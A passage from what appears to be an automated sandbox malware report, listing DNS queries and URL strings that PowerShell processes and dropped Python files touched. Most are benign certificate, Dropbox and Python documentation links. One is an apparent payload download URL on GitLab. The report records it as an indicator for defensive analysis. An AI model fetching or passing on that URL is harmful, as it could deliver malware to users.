https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: gitlab.com

Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 0000000C.00000002.2128875869.000002716F426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: pythonw.exe.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 0000000C.00000002.2112651496.000002710166F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hdl.handle.net/1895.22/1013
Source: powershell.exe, 0000000C.00000002.2126305568.000002711006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2126305568.00000271101B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.00000271019E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272322550.000002A6D81CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272322550.000002A6D8311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C8392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3278718409.000002A6E01AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000C.00000002.2112651496.0000027100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024C64D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.2112651496.000002710166F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C8392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3278718409.000002A6E01AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E2A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr, python312.dll.17.dr, sqlite3.dll.17.dr, python.exe.17.dr, pythonw.exe.17.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, NEWS.txt.17.dr	String found in binary or memory: http://www.python.org/
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.pythonlabs.com/logos.html
Source: NEWS.txt.17.dr	String found in binary or memory: https://...
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 0000000C.00000002.2112651496.0000027100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024C64D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024C68B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: NEWS.txt.17.dr	String found in binary or memory: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=242274
Source: NEWS.txt.17.dr	String found in binary or memory: https://bugs.python.org/issue26903.
Source: NEWS.txt.17.dr	String found in binary or memory: https://bugzilla.redhat.com/show_bug.cgi?id=1866884
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: NEWS.txt.17.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42919
Source: NEWS.txt.17.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40217
Source: NEWS.txt.17.dr	String found in binary or memory: https://cwe.mitre.org/data/definitions/295.html
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: NEWS.txt.17.dr	String found in binary or memory: https://docs.python.org/3/
Source: NEWS.txt.17.dr	String found in binary or memory: https://docs.python.org/zh-cn/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: NEWS.txt.17.dr	String found in binary or memory: https://fishshell.com/docs/current/cmds/source.html.
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/IronLanguages/ironpython3/issues/1667).
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/MagicStack/immutables/issues/84
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/MagicStack/uvloop/tree/v0.16.0
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C8392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3278718409.000002A6E01AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/faster-cpython/ideas/blob/main/3.12/interpreter_definition.md
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/gvanrossum/old-demos
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/hacl-star/hacl-star/
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/libexpat/libexpat/issues/115
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/pypa/setuptools/issues/100
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/python/peps/pull/689
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/python/pyperformance
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/python/pythondotorg/issues/945)
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/python/typed_ast).
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/python/typing/issues/751
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/python/typing:
Source: NEWS.txt.17.dr	String found in binary or memory: https://github.com/tiran/cpython_autoconf
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C977F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8D92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip
Source: NEWS.txt.17.dr	String found in binary or memory: https://gitlab.com/python-devs/importlib_metadata/-/milestones/20
Source: NEWS.txt.17.dr	String found in binary or memory: https://gitlab.com/python-devs/importlib_metadata/blob/0.21/importlib_metadata/docs/changelog.rst
Source: NEWS.txt.17.dr	String found in binary or memory: https://gitlab.com/warsaw/pynche
Source: powershell.exe, 0000000C.00000002.2112651496.000002710122A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C8D92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024CBEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: NEWS.txt.17.dr	String found in binary or memory: https://importlib-metadata.readthedocs.io/en/latest/history.html#v1-5-0
Source: NEWS.txt.17.dr	String found in binary or memory: https://importlib-metadata.readthedocs.io/en/latest/history.html#v3-7-0
Source: NEWS.txt.17.dr	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/history.html#v5-12-0
